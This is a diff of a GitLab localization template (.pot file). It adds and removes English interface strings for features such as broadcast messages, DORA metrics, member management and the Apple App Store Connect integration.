msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
